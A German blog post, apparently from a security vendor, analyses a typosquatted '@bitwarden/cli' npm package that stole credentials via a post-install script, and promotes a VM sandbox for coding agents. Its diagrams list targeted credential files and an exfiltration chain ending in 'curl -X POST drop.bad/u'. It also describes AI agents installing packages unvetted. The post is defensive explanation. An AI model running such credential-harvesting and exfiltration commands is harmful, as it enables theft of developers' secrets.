Zurück zu allen Beiträgen
Veröffentlicht am · von Renaud Deraison

Ihr Coding-Agent hat das gefälschte Bitwarden installiert

Am 22. April hat jemand ein bösartiges npm-Paket namens @bitwarden/[email protected] hochgeladen — einen Typosquat, der SSH-Keys, AWS/Azure/GCP-Credentials, GitHub-Tokens, npm-Publish-Tokens und Kubeconfigs aus jeder Maschine fegte, die es ausführte. Worauf das Paket abgesehen hat, ist genau das, was moderne Coding-Agents ohne nachzudenken tun: alles installieren, was npm zurückliefert. Hier ist, wie diese Kette aussieht — und was sich ändert, wenn der Agent stattdessen in einer Bromure-VM läuft.

Letzte Woche hat jemand ein npm-Paket namens @bitwarden/[email protected] hochgeladen. Die echte Bitwarden CLI ist in Ordnung. Die gefälschte war ein Typosquat mit einem Post-Install-Skript, das die SSH-Keys, AWS-Credentials, das npm-Token und die Kubeconfig der Entwicklerin las und das Bündel an einen Server in einem gemieteten IP-Bereich POSTete. Es steckt ein Witz in dieser Geschichte — ein gefälschter Passwort-Manager, dessen eigentliche Aufgabe Credential-Diebstahl ist — aber die nützlichere Beobachtung ist, dass die Leute, die im Jahr 2026 am ehesten npm install @bitwarden/cli tippen, keine menschlichen Entwickler mehr sind. Es sind Coding-Agents, die installieren, was immer der Paketmanager zurückliefert.

So. Hier ist die Nachricht, in drei Sätzen.

Am 22. April 2026 veröffentlichte jemand auf npm ein Paket unter dem Namen @bitwarden/[email protected]. Laut dem Bericht von Unit 42 war das Paket ein Typosquat, der einer Gruppe namens TeamPCP zugeschrieben wird — derselben Truppe, die Datadog drei Wochen zuvor mit der LiteLLM-PyPI-Kompromittierung in Verbindung gebracht hatte — und sein Post-Install-Skript fegte den Host nach AWS-, Azure- und GCP-Credentials, npm-Publish-Tokens, GitHub-Tokens, SSH-Keys und Kubeconfigs ab, packte alles ein und schickte es an die Infrastruktur des Angreifers. OX Security, das denselben Vorfall in einem weiteren Kontext einordnet, nannte es Shai-Huluds dritte Wiederkehr — den jüngsten Eintrag in einem sich selbst replizierenden Lieferketten-Wurm, der seit September 2025 Tausende npm-Pakete verschlungen hat und nicht den geringsten Anschein erweckt, müde zu werden.

Der Witz, den ich aus dem Weg räumen will, bevor wir darüber reden, was zu tun ist, lautet: Die gefälschte Bitwarden CLI tut in gewisser Weise genau das, was eine Bitwarden CLI tun soll. Ihre Aufgabe ist es, von vielen Credentials zu wissen. Die Credentials in diesem Fall waren halt nicht die, für die der Nutzer sich angemeldet hatte. Egal. Der Angriff selbst ist mechanisch uninteressant. Was interessant ist — und was diesen Vorfall einen Beitrag wert macht — ist wer ihn installieren wird.

Ein Paket, das niemand mehr tippt.

Eine menschliche Entwicklerin, die die echte Bitwarden CLI will, geht in der Regel auf bitwarden.com/help/cli, liest die Dokumentation, kopiert den Install-Befehl von einer Seite, deren TLS-Zertifikatskette zu einem Anbieter führt, den sie wiedererkennt, und tippt ihn ein. Sie kann sich vertippen, sicher — genau das ist die Prämisse von Typosquatting — aber sie muss in Eile, im Halbdunkel und unglücklich gewesen sein.

Coding-Agents sind nicht in Eile, im Halbdunkel oder unglücklich. Sie sind etwas Schlimmeres: selbstbewusst falsch, mit Maschinengeschwindigkeit. Sie bitten Claude Code, „Bitwarden anzuschließen, damit das Deploy-Skript den API-Key aus dem Tresor holen kann", und das Modell — das eine Million Blogposts gelesen hat, in denen npm install -g @bitwarden/cli steht — tippt npm install -g @bitwarden/cli. Der Paketmanager liefert ein Paket namens @bitwarden/cli zurück. Es gibt keinen Menschen in der Schleife, der das Publisher-Feld prüft. Es gibt keine bitwarden.com-Zertifikatskette zum Inspizieren, weil npm die Zertifikatskette ist. Es gibt sogar keinen Grund, warum der Agent das Post-Install-Skript des Pakets nicht ausführen sollte, denn das ist, was npm-Pakete tun.

ENTWICKLER-LAPTOP — Host-Dateisystem für alles sichtbar, was der Agent ausführtCODING-AGENT$ claude> bitwarden cli anschließentool: bashnpm i -g @bitwarden/clinpm-REGISTRY@bitwarden/cli 2026.4.0 ← typosquat publisher: not-bitwarden scripts.postinstall: yesPOST-INSTALL LIEST HOST~/.ssh/id_ed25519~/.aws/credentials~/.kube/config~/.npmrc // _authToken$GH_TOKEN~/.config/gcloud/~/.azure/tar | aes-256 | rsa-4096POST https://…/dropalles echt, alles lesbarANGREIFERhat esund zwar allesexfilWAS DER AGENT NIE BEMERKT HATEin Paket namens @bitwarden/cli darf laut Spezifikation das Home-Verzeichnis lesen und eine URL aufrufen.Nichts an dieser Kette ist eine Schwachstelle in npm oder Node. Es ist der dokumentierte Vertrag.
Wie die Kette auf einem normalen Entwickler-Laptop aussieht, wo ein Coding-Agent tippt. Der Agent fragt nach `@bitwarden/cli`. Die Registry liefert den Typosquat zurück. Das Post-Install-Skript liest ~/.aws, ~/.ssh, ~/.npmrc, $GH_TOKEN, ~/.kube/config — also alles, worauf der Agent zugreifen können musste, um überhaupt nützlich zu sein — und POSTet es an die Infrastruktur des Angreifers. Nichts daran ist exotisch; es ist das dokumentierte Verhalten von npm-Post-Install-Hooks, angewandt auf ein Paket, das der Mensch ohnehin nie inspiziert hätte.

Was an diesem Bild auffällt, ist, dass kein Teil davon ein Bug ist. npm-Pakete dürfen postinstall-Skripte ausliefern. Diese Skripte laufen mit denselben Rechten wie der Nutzer, der npm aufruft. Ein Skript, das als Nutzer läuft, kann alles lesen, was der Nutzer lesen kann. Dazu gehört — und genau das wird zum Problem, wenn ein Agent die Tasten drückt — ~/.ssh/id_ed25519, ~/.aws/credentials, der npm-Publish-Token in ~/.npmrc, mit dem Sie andere Pakete neuveröffentlichen können, der GitHub-Token in Ihrer Shell, die Kubeconfig, mit der Sie kubectl exec in der Produktion ausführen können. Sie haben das alles nicht für den Agent dort abgelegt. Sie haben es für sich dort abgelegt. Der Agent benutzt jetzt Ihre Hände.

An dieser Stelle hätte ich Ihnen 2018 dasselbe Problem so verkauft: „Und deshalb sollten Sie eine Sandbox verwenden." Und Sie hätten fairerweise gesagt: „Von Sandboxen habe ich schon gehört." Und wir wären beide Kaffee holen gegangen. Der Grund, warum ich diesen Beitrag 2026 schreibe, ist, dass die Sandbox, die das @bitwarden/cli-Szenario tatsächlich zu einem Nicht-Ereignis macht, eine etwas andere Form hat als die, die in den letzten zehn Jahren angeboten wurde — und der Unterschied ist genau der Punkt.

Wie der eigentliche Fix aussieht.

Angenommen, statt das Ganze auf Ihrem Mac auszuführen, läuft der Coding-Agent in einer Linux-VM, die nur den Projektordner teilt, auf den Sie sie zeigen lassen. Angenommen, die ~/.aws/credentials dieser VM ist ein Stub — eine syntaktisch gültige AWS-Credentials-Datei, die nichts Echtes enthält — und dasselbe gilt für ~/.npmrc, $GH_TOKEN und den Rest. Angenommen, in der VM gibt es überhaupt keinen ~/.ssh/id_ed25519, sondern nur einen weitergereichten ssh-agent-Socket, dessen Keys auf der Host-Seite der Grenze in der macOS-Keychain liegen. Angenommen schließlich, es gibt auf dem Host einen kleinen Proxy, der diese Stub-Tokens auf der Leitung erkennt und sie gegen die echten austauscht — aber nur auf gewhitelisteten Endpunkten und nur in dem Moment, in dem eine Anfrage tatsächlich den Hypervisor verlässt.

Lassen Sie nun das Post-Install-Skript von @bitwarden/cli in dieser VM laufen. Es tut genau, was es vorher getan hat. Es liest ~/.aws/credentials. Es liest ~/.npmrc. Es liest $GH_TOKEN. Es liest sogar den Inhalt der ssh-agent-Socket-Datei — eines Unix-Domain-Sockets, der null Bytes lang ist. Es packt alles zusammen, verschlüsselt es mit seinem hartkodierten RSA-4096-Schlüssel und POSTet es an seinen Drop-Server.

Der Drop-Server empfängt ein kryptografisch einwandfreies Bündel voller Platzhalter.

BROMURE-VM (Linux-Gast) — was das Post-Install-Skript sehen kannCODING-AGENT$ claude> bitwarden anschließentool: bashnpm i -g @bw/cli↳ postinstall läuftDATEISYSTEM & ENV — nur Stubs~/.aws/credentialsaws_secret = stub-aws-…~/.npmrc_authToken = stub-npm-…$GH_TOKENghp_stub_…~/.ssh/id_ed25519No such file or directory~/.ssh/agent.sockSocket → Host-KeychainEXFIL-VERSUCHtar -cf bundle …openssl rsautl -encryptcurl -X POST drop.bad/uPayload: Stubs verschlüsselt, aber StubsHYPERVISOR — Credential-Broker-ProxymacOS-HOST — echte Geheimnisse, die Grenze nie überschrittenECHTER CREDENTIAL-TRESORmacOS-Keychainid_ed25519 (privat)~/.aws/credentialsAKIA… (echt)~/.config/gh/hosts.ymlghp_real…~/.kube/configprod-Bearer (echt)~/.npmrcnpm_… (echtes Publish)PROXY — tauscht Stub gegen echt am Egressgit push → api.github.com Authorization: ghp_stub_… ⇒ ghp_real_…aws s3 ls → *.amazonaws.com AKIA-stub ⇒ AKIA-real (sigv4 neu signiert)drop.bad/u: nicht gewhitelistet ⇒ Stub bleibt StubStubs gehen raus, kein Proxy-TrefferDie Exfil-Anfrage darf rausgehen. Es ist nur nichts Brauchbares drin.
Dieselbe Kette, in einer Bromure-VM. Der Agent führt dieselbe Installation durch. Das Post-Install-Skript macht denselben Sweep. Die Credentials, die es in ~/.aws, ~/.npmrc und $GH_TOKEN findet, sind Stubs, die die VM ohnehin schon mitgebracht hat. Es gibt keinen SSH-Key auf der Disk, weil es keinen SSH-Key auf der Disk gibt; es gibt einen weitergereichten ssh-agent-Socket, dessen eigentliches Schlüsselmaterial in der macOS-Keychain auf der anderen Seite des Hypervisors liegt. Der Exfil-POST geht raus, verschlüsselt, mit Platzhaltern darin.

In dem Bild stecken ein paar feine Punkte, bei denen es sich lohnt zu verlangsamen, weil sie der Unterschied zwischen diesem Design und einem Container sind.

Der erste ist, dass der Proxy ausgehend, gewhitelistet und auf der Leitung sitzt. Er ist kein Sidecar in der VM. Die VM hat das echte GitHub-Token nie in irgendeiner erreichbaren Form. Es gibt keine Env-Variable zum Dumpen, keine Datei zum Lesen, keine Speicherseite zum Scrapen. Wenn der Agent git push ausführt, verlässt die Anfrage die VM mit dem Stub im Authorization-Header; der Proxy auf dem Host erkennt den Stub, tauscht Ihren echten ghp_… ein, leitet die Anfrage weiter und leitet die Antwort zurück. Wenn die Malware curl -X POST drop.bad/u ausführt, schlägt der Proxy drop.bad nach, findet nichts in seiner Whitelist und entweder verwirft er die Anfrage oder leitet sie — je nach Egress-Policy der VM — unverändert weiter, mit welchem Stub die Malware auch immer ergattert hat. So oder so liegt das echte Credential im einzigen Moment, in dem die Malware hingeschaut hat, auf der falschen Seite der Grenze.

Der zweite ist, dass der SSH-Key in keinem Sinne in der VM ist. ssh-agent läuft auf macOS. Die privaten Schlüssel des Agents liegen in der macOS-Keychain. Bromure leitet den Agent-Socket — so, wie es OpenSSH seit den 90ern tut, und aus demselben Grund — in die VM weiter. In der VM funktionieren ssh und git so, wie sie es immer tun; die zugrunde liegende Signieroperation passiert auf dem Host, wo die in der VM laufende Malware sie nicht sehen kann. Ein Paket, das cat ~/.ssh/id_ed25519 ausführt, bekommt No such file or directory zurück und geht nach Hause.

Warum ein Container Sie hier nicht hinbringt.

Schauen Sie. Der Einwand an dieser Stelle — und er ist berechtigt — lautet: „Okay, aber wir haben Docker seit zehn Jahren, man kann einen Agent in einem Container laufen lassen, und das ist doch in Ordnung, oder?" Wäre es auch, abgesehen von zwei langweiligen Gründen.

Der erste ist, dass Sie, um einen Container für die Dinge nützlich zu machen, die ein Coding-Agent tatsächlich tut — git push, gh pr create, aws s3 cp, npm publish, kubectl exec —, am Ende ~/.ssh, ~/.aws/credentials, ~/.npmrc und Ihren GitHub-Token in den Container einhängen. An diesem Punkt führt das Post-Install-Skript cat ~/.ssh/id_ed25519 aus und bekommt die echte Datei. Container haben keinen Credential-Broker; sie haben einen Bind-Mount. Der Bind-Mount ist genau die weiche Unterseite, nach der die Malware gesucht hat.

Der zweite ist, dass der Container auf macOS ohnehin in einer versteckten Linux-VM läuft. Docker Desktop bringt eine mit; OrbStack bringt eine mit; Colima bringt eine mit. Sie zahlen den VM-Preis — die Disk, den Speicher, die Bootzeit — bereits. Das Argument für einen Container, auf macOS, im Jahr 2026, ist nicht: „Er ist leichter." Es ist nur: „Ich bin daran gewöhnt." Bromure schneidet die Mittelschicht heraus. Es gibt eine VM. Sie ist sichtbar. Sie ist Ihre. Der Credential-Broker und das ssh-agent-Forwarding sind die Teile, für die das Container-Modell nie eine Geschichte hatte.

Was der Trace einfängt, was Sie ohnehin nicht gelesen hätten.

Das andere, was zu einem Agent, der etwas installiert, wonach niemand gefragt hat, gesagt werden muss, ist, dass es sehr oft niemandem auffällt. Der Agent führt npm install aus, der Agent bekommt eine Wand voller Output, der Agent fasst „Ich habe Bitwarden CLI installiert und konfiguriert" in einem einzigen Satz im Chat zusammen, und Sie scrollen weiter. Das Post-Install-Skript ist mitten in dieser Wand gelaufen. Sie haben die Wand nicht gelesen. Niemand liest die Wand.

Bromures Session-Tracer fängt die Wand ein — jeden Prompt, jeden Tool-Aufruf, jeden Shell-Befehl, jede Dateiänderung, jeden Exit-Code — und lässt Sie nach der Sitzung darin zurückblättern. „Finde jeden npm install, den der Agent heute ausgeführt hat" ist ein grep. „Hat der Agent ein Tool ausgeführt, das außerhalb des Projektordners geschrieben hat?" ist ein grep. Wenn das nächste @bitwarden/[email protected] auftaucht — und es wird auftauchen — sagt der Trace Ihnen, welche Sitzungen es berührt haben und welche Projektordner zur fraglichen Zeit gemountet waren. Sie müssen nichts aus der Erinnerung oder einem teilweisen Scrollback rekonstruieren. Die Sitzung ist das Audit-Log.

Was das einfängt

Ein Coding-Agent, der @bitwarden/cli (oder litellm, oder axios, oder das nächste Ding) in einer Bromure-VM installiert, findet beim Sweep nach Credentials ein leeres SSH-Verzeichnis und einen Schlüsselbund voller Stubs. Das Post-Install-Skript läuft. Der Exfil-POST geht raus. Das Bündel ist ein Platzhalter. Der Blast Radius ist die VM.

Was der Reset zum Nicht-Ereignis macht

Wenn die Malware noch etwas anderes tut als Credential-Diebstahl — Persistenz in crontab, ein vergiftetes ~/.bashrc, ein launchd-Pendant im Gast — überlebt nichts davon den nächsten bromure reset. Sie müssen die Persistenz nicht finden; Sie müssen sie wegwerfen. Drei Sekunden, frischer Kernel, weiterprogrammieren.

Was das nicht einfängt

Ein Paket, das ein echtes Backend aufruft, das Sie gewhitelistet haben — sagen wir, ein Paket, das Ihren echten GitHub-Token nutzt, um Ihre eigenen Repos zu löschen — bekommt das echte Token am Wire, per Design, denn so funktioniert git push. Die Verteidigung ist eine kleine Egress-Whitelist und ein Session-Trace, keine Allwissenheit. Schaden im Projektordner landet weiterhin im Projektordner.

Was weiterhin einen Menschen braucht

Nichts an Bromure verhindert, dass ein Coding-Agent dazu überredet wird, schlechten Code zu committen. Die Grenze schützt die Credentials auf Ihrer Maschine; sie reviewt nicht den Diff. Lesen Sie den Diff. Der Trace erleichtert es zu wissen, welche Diffs zu lesen sind.

Eine letzte Sache.

Es gibt eine Version dieser Geschichte, in der ich Ihnen sagen würde, die Lehre lautet „auditieren Sie Ihre Dependencies". Es gibt auch eine Version, in der die Lehre lautet „hört auf, npm zu benutzen". Beide Versionen existieren, beide haben teilweise recht, und keine wird in Ihrem Team in diesem Quartal passieren.

Die Version, die in Ihrem Team in diesem Quartal tatsächlich passieren wird, ist, dass der Agent etwas installieren wird, was er nicht hätte installieren sollen, weil der Agent viele Dinge installiert, und irgendwo im Long Tail dessen, was er installiert, wird eines davon am letzten Mittwoch von jemandem hochgeladen worden sein, der sich TeamPCP oder Shai-Hulud oder wie auch immer die nächste Gruppe sich nennt. Die Frage ist nur: Findet das Post-Install-Skript dann die Geheimnisse oder eine Wand?

Bromure Agentic Coding ist die Wand. Es ist auch kostenlos, Open Source und ab heute verfügbar. Sie sind dran.